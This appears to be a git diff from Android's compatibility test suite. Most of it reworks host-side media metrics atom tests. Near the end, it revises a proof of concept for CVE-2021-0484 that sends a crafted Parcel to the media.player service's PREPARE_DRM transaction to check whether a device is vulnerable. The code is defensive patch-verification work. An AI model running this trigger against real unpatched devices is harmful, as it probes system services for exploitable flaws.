         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_STATE_CHANGED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testPlaybackStateEvent");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
@@ -99,8 +102,8 @@
 
         assertThat(data.size()).isEqualTo(1);
         assertThat(data.get(0).getAtom().hasMediaPlaybackStateChanged()).isTrue();
-        AtomsProto.MediaPlaybackStateChanged result =
-                data.get(0).getAtom().getMediaPlaybackStateChanged();
+        AtomsProto.MediaPlaybackStateChanged result = data.get(
+                0).getAtom().getMediaPlaybackStateChanged();
         assertThat(result.getPlaybackState().toString()).isEqualTo("JOINING_FOREGROUND");
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(1763L);
     }
@@ -109,9 +112,7 @@
     public void testBundleSessionPlaybackStateEvent() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_STATE_CHANGED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testBundleSessionPlaybackStateEvent");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
@@ -120,8 +121,8 @@
 
         assertThat(data.size()).isEqualTo(1);
         assertThat(data.get(0).getAtom().hasMediaPlaybackStateChanged()).isTrue();
-        AtomsProto.MediaPlaybackStateChanged result =
-                data.get(0).getAtom().getMediaPlaybackStateChanged();
+        AtomsProto.MediaPlaybackStateChanged result = data.get(
+                0).getAtom().getMediaPlaybackStateChanged();
         assertThat(result.getPlaybackState().toString()).isEqualTo("JOINING_FOREGROUND");
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(1763L);
     }
@@ -130,9 +131,7 @@
     public void testPlaybackErrorEvent_default() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_ERROR_REPORTED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testPlaybackErrorEvent_default");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
@@ -141,23 +140,21 @@
 
         assertThat(data.size()).isEqualTo(1);
         assertThat(data.get(0).getAtom().hasMediaPlaybackErrorReported()).isTrue();
-        AtomsProto.MediaPlaybackErrorReported result =
-                data.get(0).getAtom().getMediaPlaybackErrorReported();
+        AtomsProto.MediaPlaybackErrorReported result = data.get(
+                0).getAtom().getMediaPlaybackErrorReported();
 
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(-1L);
         assertThat(result.getErrorCode().toString()).isEqualTo("ERROR_CODE_UNKNOWN");
         assertThat(result.getSubErrorCode()).isEqualTo(0);
         assertThat(result.getExceptionStack().startsWith(
-                "android.media.metrics.cts.MediaMetricsAtomHostSideTests.testPlaybackErrorEvent"))
-                        .isTrue();
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests"
+                        + ".testPlaybackErrorEvent")).isTrue();
     }
 
     public void testPlaybackErrorEvent() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_ERROR_REPORTED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testPlaybackErrorEvent");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
@@ -166,23 +163,21 @@
 
         assertThat(data.size()).isEqualTo(1);
         assertThat(data.get(0).getAtom().hasMediaPlaybackErrorReported()).isTrue();
-        AtomsProto.MediaPlaybackErrorReported result =
-                data.get(0).getAtom().getMediaPlaybackErrorReported();
+        AtomsProto.MediaPlaybackErrorReported result = data.get(
+                0).getAtom().getMediaPlaybackErrorReported();
 
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(17630000L);
         assertThat(result.getErrorCode().toString()).isEqualTo("ERROR_CODE_RUNTIME");
         assertThat(result.getSubErrorCode()).isEqualTo(378);
         assertThat(result.getExceptionStack().startsWith(
-                "android.media.metrics.cts.MediaMetricsAtomHostSideTests.testPlaybackErrorEvent"))
-                        .isTrue();
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests"
+                        + ".testPlaybackErrorEvent")).isTrue();
     }
 
     public void testTrackChangeEvent_default() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_TRACK_CHANGED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testTrackChangeEvent_default");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
@@ -191,8 +186,8 @@
 
         assertThat(data.size()).isEqualTo(1);
         assertThat(data.get(0).getAtom().hasMediaPlaybackTrackChanged()).isTrue();
-        AtomsProto.MediaPlaybackTrackChanged result =
-                data.get(0).getAtom().getMediaPlaybackTrackChanged();
+        AtomsProto.MediaPlaybackTrackChanged result = data.get(
+                0).getAtom().getMediaPlaybackTrackChanged();
 
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(-1L);
         assertThat(result.getState().toString()).isEqualTo("OFF");
@@ -211,9 +206,7 @@
     public void testTrackChangeEvent_text() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_TRACK_CHANGED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testTrackChangeEvent_text");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
@@ -222,8 +215,8 @@
 
         assertThat(data.size()).isEqualTo(1);
         assertThat(data.get(0).getAtom().hasMediaPlaybackTrackChanged()).isTrue();
-        AtomsProto.MediaPlaybackTrackChanged result =
-                data.get(0).getAtom().getMediaPlaybackTrackChanged();
+        AtomsProto.MediaPlaybackTrackChanged result = data.get(
+                0).getAtom().getMediaPlaybackTrackChanged();
 
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(37278L);
         assertThat(result.getState().toString()).isEqualTo("ON");
@@ -240,9 +233,7 @@
     public void testTrackChangeEvent_audio() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_TRACK_CHANGED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testTrackChangeEvent_audio");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
@@ -251,8 +242,8 @@
 
         assertThat(data.size()).isEqualTo(1);
         assertThat(data.get(0).getAtom().hasMediaPlaybackTrackChanged()).isTrue();
-        AtomsProto.MediaPlaybackTrackChanged result =
-                data.get(0).getAtom().getMediaPlaybackTrackChanged();
+        AtomsProto.MediaPlaybackTrackChanged result = data.get(
+                0).getAtom().getMediaPlaybackTrackChanged();
 
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(37278L);
         assertThat(result.getState().toString()).isEqualTo("OFF");
@@ -271,9 +262,7 @@
     public void testTrackChangeEvent_video() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_TRACK_CHANGED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testTrackChangeEvent_video");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
@@ -282,8 +271,8 @@
 
         assertThat(data.size()).isEqualTo(1);
         assertThat(data.get(0).getAtom().hasMediaPlaybackTrackChanged()).isTrue();
-        AtomsProto.MediaPlaybackTrackChanged result =
-                data.get(0).getAtom().getMediaPlaybackTrackChanged();
+        AtomsProto.MediaPlaybackTrackChanged result = data.get(
+                0).getAtom().getMediaPlaybackTrackChanged();
 
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(37278L);
         assertThat(result.getState().toString()).isEqualTo("OFF");
@@ -303,9 +292,7 @@
     public void testNetworkEvent_default() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_NETWORK_INFO_CHANGED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testNetworkEvent_default");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
@@ -314,8 +301,8 @@
 
         assertThat(data.size()).isEqualTo(1);
         assertThat(data.get(0).getAtom().hasMediaNetworkInfoChanged()).isTrue();
-        AtomsProto.MediaNetworkInfoChanged result =
-                data.get(0).getAtom().getMediaNetworkInfoChanged();
+        AtomsProto.MediaNetworkInfoChanged result = data.get(
+                0).getAtom().getMediaNetworkInfoChanged();
 
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(-1L);
         assertThat(result.getType().toString()).isEqualTo("NETWORK_TYPE_UNKNOWN");
@@ -324,19 +311,16 @@
     public void testNetworkEvent() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_NETWORK_INFO_CHANGED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
-                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
-                "testNetworkEvent");
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests", "testNetworkEvent");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
 
         List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
 
         assertThat(data.size()).isEqualTo(1);
         assertThat(data.get(0).getAtom().hasMediaNetworkInfoChanged()).isTrue();
-        AtomsProto.MediaNetworkInfoChanged result =
-                data.get(0).getAtom().getMediaNetworkInfoChanged();
+        AtomsProto.MediaNetworkInfoChanged result = data.get(
+                0).getAtom().getMediaNetworkInfoChanged();
 
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(3032L);
         assertThat(result.getType().toString()).isEqualTo("NETWORK_TYPE_WIFI");
@@ -345,9 +329,7 @@
     public void testPlaybackMetrics_default() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testPlaybackMetrics_default");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
@@ -357,8 +339,8 @@
 
         assertThat(data.size()).isEqualTo(1);
         assertThat(data.get(0).getAtom().hasMediametricsPlaybackReported()).isTrue();
-        AtomsProto.MediametricsPlaybackReported result =
-                data.get(0).getAtom().getMediametricsPlaybackReported();
+        AtomsProto.MediametricsPlaybackReported result = data.get(
+                0).getAtom().getMediametricsPlaybackReported();
 
         assertThat(result.getUid()).isEqualTo(appUid);
         assertThat(result.getMediaDurationMillis()).isEqualTo(-1L);
@@ -382,11 +364,8 @@
     public void testPlaybackMetrics() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
-                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
-                "testPlaybackMetrics");
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests", "testPlaybackMetrics");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
 
         List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
@@ -394,8 +373,8 @@
 
         assertThat(data.size()).isEqualTo(1);
         assertThat(data.get(0).getAtom().hasMediametricsPlaybackReported()).isTrue();
-        AtomsProto.MediametricsPlaybackReported result =
-                data.get(0).getAtom().getMediametricsPlaybackReported();
+        AtomsProto.MediametricsPlaybackReported result = data.get(
+                0).getAtom().getMediametricsPlaybackReported();
 
         assertThat(result.getUid()).isEqualTo(appUid);
         assertThat(result.getMediaDurationMillis()).isEqualTo(233L);
@@ -421,104 +400,96 @@
     public void testSessionId() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
-                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
-                "testSessionId");
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests", "testSessionId");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
 
         List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
-        assertThat(data.size()).isEqualTo(0);
+        assertThat(data).isEmpty();
     }
 
     public void testRecordingSession() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
-                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
-                "testRecordingSession");
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests", "testRecordingSession");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
 
         List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
-        assertThat(data.size()).isEqualTo(0);
+        assertThat(data).isEmpty();
     }
 
     public void testEditingSession() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
-                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
-                "testEditingSession");
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests", "testEditingSession");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
 
         List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
-        assertThat(data.size()).isEqualTo(0);
+        assertThat(data).isEmpty();
     }
 
     public void testTranscodingSession() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testTranscodingSession");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
 
         List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
-        assertThat(data.size()).isEqualTo(0);
+        assertThat(data).isEmpty();
     }
 
     public void testBundleSession() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
-                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
-                "testBundleSession");
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests", "testBundleSession");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
 
         List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
-        assertThat(data.size()).isEqualTo(0);
+        assertThat(data).isEmpty();
     }
 
     public void testAppBlocklist() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_STATE_CHANGED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
-                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
-                "testAppBlocklist");
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests", "testAppBlocklist");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
 
+        String logSessionId = getLogSessionId();
+        assertWithMessage("log session id").that(logSessionId).isNotEmpty();
         List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
-
-        assertThat(data.size()).isEqualTo(0);
+        List<AtomsProto.MediametricsPlaybackReported> playbackReportedList = toMyAtoms(data,
+                AtomsProto.Atom::getMediametricsPlaybackReported);
+        assertThat(playbackReportedList).comparingElementsUsing(Correspondence.transforming(
+                AtomsProto.MediametricsPlaybackReported::getLogSessionId,
+                "getLogSessionId")).doesNotContain(logSessionId);
     }
 
+
     public void testAttributionBlocklist() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testAttributionBlocklist");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
 
         List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        String logSessionId = getLogSessionId();
+        assertWithMessage("log session id").that(logSessionId).isNotEmpty();
+        List<AtomsProto.MediametricsPlaybackReported> playbackReportedList = toMyAtoms(data,
+                AtomsProto.Atom::getMediametricsPlaybackReported);
+        assertThat(playbackReportedList).comparingElementsUsing(Correspondence.transforming(
+                AtomsProto.MediametricsPlaybackReported::getLogSessionId,
+                "getLogSessionId")).contains(logSessionId);
 
-        assertThat(data.size()).isEqualTo(1);
-        assertThat(data.get(0).getAtom().hasMediametricsPlaybackReported()).isTrue();
-        AtomsProto.MediametricsPlaybackReported result =
-                data.get(0).getAtom().getMediametricsPlaybackReported();
+        AtomsProto.MediametricsPlaybackReported result = playbackReportedList.stream().filter(
+                a -> a.getLogSessionId().equals(logSessionId)).findFirst().orElseThrow();
 
         assertThat(result.getUid()).isEqualTo(0); // UID is not logged. Should be 0.
         assertThat(result.getMediaDurationMillis()).isEqualTo(233L);
@@ -540,19 +511,21 @@
     public void testAppAllowlist() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_STATE_CHANGED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
-                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
-                "testAppAllowlist");
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests", "testAppAllowlist");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
 
         List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        String logSessionId = getLogSessionId();
+        assertWithMessage("log session id").that(logSessionId).isNotEmpty();
+        List<AtomsProto.MediaPlaybackStateChanged> stateChangedList = toMyAtoms(data,
+                AtomsProto.Atom::getMediaPlaybackStateChanged);
+        assertThat(stateChangedList).comparingElementsUsing(
+                Correspondence.transforming(AtomsProto.MediaPlaybackStateChanged::getLogSessionId,
+                        "getLogSessionId")).contains(logSessionId);
 
-        assertThat(data.size()).isEqualTo(1);
-        assertThat(data.get(0).getAtom().hasMediaPlaybackStateChanged()).isTrue();
-        AtomsProto.MediaPlaybackStateChanged result =
-                data.get(0).getAtom().getMediaPlaybackStateChanged();
+        AtomsProto.MediaPlaybackStateChanged result = stateChangedList.stream().filter(
+                a -> a.getLogSessionId().equals(logSessionId)).findFirst().orElseThrow();
         assertThat(result.getPlaybackState().toString()).isEqualTo("JOINING_FOREGROUND");
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(1763L);
     }
@@ -560,19 +533,22 @@
     public void testAttributionAllowlist() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
                 "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
                 "testAttributionAllowlist");
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
 
         List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        String logSessionId = getLogSessionId();
+        assertWithMessage("log session id").that(logSessionId).isNotEmpty();
+        List<AtomsProto.MediametricsPlaybackReported> playbackReportedList = toMyAtoms(data,
+                AtomsProto.Atom::getMediametricsPlaybackReported);
+        assertThat(playbackReportedList).comparingElementsUsing(Correspondence.transforming(
+                AtomsProto.MediametricsPlaybackReported::getLogSessionId,
+                "getLogSessionId")).contains(logSessionId);
 
-        assertThat(data.size()).isEqualTo(1);
-        assertThat(data.get(0).getAtom().hasMediametricsPlaybackReported()).isTrue();
-        AtomsProto.MediametricsPlaybackReported result =
-                data.get(0).getAtom().getMediametricsPlaybackReported();
+        AtomsProto.MediametricsPlaybackReported result = playbackReportedList.stream().filter(
+                a -> a.getLogSessionId().equals(logSessionId)).findFirst().orElseThrow();
 
         assertThat(result.getUid()).isEqualTo(0); // UID is not logged. Should be 0.
         assertThat(result.getMediaDurationMillis()).isEqualTo(233L);
@@ -611,19 +587,16 @@
         }
     }
 
-    private void runAAudioTestAndValidate(
-            String requiredFeature, int direction, String testFunctionName) throws Exception {
+    private void runAAudioTestAndValidate(String requiredFeature, int direction,
+            String testFunctionName) throws Exception {
         if (!DeviceUtils.hasFeature(getDevice(), requiredFeature)) {
             return;
         }
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
                 AtomsProto.Atom.MEDIAMETRICS_AAUDIOSTREAM_REPORTED_FIELD_NUMBER);
 
-        DeviceUtils.runDeviceTests(
-                getDevice(),
-                TEST_PKG,
-                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
-                testFunctionName);
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests", testFunctionName);
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
 
         validateAAudioStreamAtom(direction);
@@ -636,8 +609,7 @@
      * the data is collected correctly.
      */
     public void testAAudioLowLatencyInputStream() throws Exception {
-        runAAudioTestAndValidate(
-                FEATURE_MICROPHONE,
+        runAAudioTestAndValidate(FEATURE_MICROPHONE,
                 AtomsProto.MediametricsAAudioStreamReported.Direction.DIRECTION_INPUT_VALUE,
                 "testAAudioLowLatencyInputStream");
     }
@@ -649,8 +621,7 @@
      * the data is collected correctly.
      */
     public void testAAudioLowLatencyOutputStream() throws Exception {
-        runAAudioTestAndValidate(
-                FEATURE_AUDIO_OUTPUT,
+        runAAudioTestAndValidate(FEATURE_AUDIO_OUTPUT,
                 AtomsProto.MediametricsAAudioStreamReported.Direction.DIRECTION_OUTPUT_VALUE,
                 "testAAudioLowLatencyOutputStream");
     }
@@ -662,8 +633,7 @@
      * the data is collected correctly.
      */
     public void testAAudioLegacyInputStream() throws Exception {
-        runAAudioTestAndValidate(
-                FEATURE_MICROPHONE,
+        runAAudioTestAndValidate(FEATURE_MICROPHONE,
                 AtomsProto.MediametricsAAudioStreamReported.Direction.DIRECTION_INPUT_VALUE,
                 "testAAudioLegacyInputStream");
     }
@@ -675,9 +645,22 @@
      * the data is collected correctly.
      */
     public void testAAudioLegacyOutputStream() throws Exception {
-        runAAudioTestAndValidate(
-                FEATURE_AUDIO_OUTPUT,
+        runAAudioTestAndValidate(FEATURE_AUDIO_OUTPUT,
                 AtomsProto.MediametricsAAudioStreamReported.Direction.DIRECTION_OUTPUT_VALUE,
                 "testAAudioLegacyOutputStream");
     }
+
+    private String getLogSessionId() throws DeviceNotAvailableException {
+        // TODO(b/259258249): Name session id file after the test.
+        String logSessionId = getDevice().pullFileContents(
+                "/storage/emulated/0/Android/data/android.media.metrics"
+                        + ".cts/files/log_session_id" + ".txt");
+        return logSessionId;
+    }
+
+    private static <T> List<T> toMyAtoms(List<StatsLog.EventMetricData> data,
+            Function<AtomsProto.Atom, T> mapper) {
+        return data.stream().map(StatsLog.EventMetricData::getAtom).map(mapper).collect(
+                Collectors.toUnmodifiableList());
+    }
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp
index 1aafea3..cea0ad0 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -18,49 +18,37 @@
 #include <media/mediaplayer.h>
 #include "../includes/common.h"
 
-#define PREPARE_DRM 39
-
 using namespace android;
 
 int main() {
+    constexpr size_t bufferSize = 16;
+    constexpr uint32_t prepareDrm = 39;
+    constexpr uint32_t unknownTrxnCode = prepareDrm + 5;
     sp<IServiceManager> serviceManager = defaultServiceManager();
-    if (serviceManager == nullptr) {
-        return EXIT_FAILURE;
-    }
+    FAIL_CHECK(serviceManager != nullptr);
 
     sp<IBinder> mediaPlayerService = serviceManager->getService(String16("media.player"));
-    if (mediaPlayerService == nullptr) {
-        return EXIT_FAILURE;
-    }
+    FAIL_CHECK(mediaPlayerService != nullptr);
 
     sp<IMediaPlayerService> iMediaPlayerService =
             IMediaPlayerService::asInterface(mediaPlayerService);
-    if (iMediaPlayerService == nullptr) {
-        return EXIT_FAILURE;
-    }
+    FAIL_CHECK(iMediaPlayerService != nullptr);
 
-    MediaPlayer *mediaPlayer = new MediaPlayer();
-    if (mediaPlayer == nullptr) {
-        return EXIT_FAILURE;
-    }
+    sp<MediaPlayer> mediaPlayer = new MediaPlayer();
+    FAIL_CHECK(mediaPlayer != nullptr);
 
     sp<IMediaPlayer> iMediaPlayer = iMediaPlayerService->create(mediaPlayer);
-    if (iMediaPlayer == nullptr) {
-        delete (mediaPlayer);
-        return EXIT_FAILURE;
-    }
+    FAIL_CHECK(iMediaPlayer != nullptr);
 
     Parcel data, reply;
     data.writeInterfaceToken(iMediaPlayer->getInterfaceDescriptor());
-    const uint8_t arr[16] = {};
-    data.write(arr, 16);
-    data.writeUint32(2);
-    data.writeUnpadded(arr, 1);
+    status_t status = IMediaPlayer::asBinder(iMediaPlayer)->transact(unknownTrxnCode, data, &reply);
+    FAIL_CHECK(status == UNKNOWN_TRANSACTION);
 
-    IMediaPlayer::asBinder(iMediaPlayer)->transact(PREPARE_DRM, data, &reply);
-    uint32_t size = 0;
-    reply.readUint32(&size);
-
-    delete (mediaPlayer);
-    return (size > 0) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+    const uint8_t arr[bufferSize] = {};
+    data.write(arr, bufferSize);
+    data.writeUint32(bufferSize);
+    data.writeUnpadded(arr, bufferSize - 1);
+    status = IMediaPlayer::asBinder(iMediaPlayer)->transact(prepareDrm, data, &reply);
+    return status == OK ? EXIT_VULNERABLE : EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 52141c6..213c7b1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -18,10 +18,8 @@
 
 import static org.junit.Assert.assertEquals;
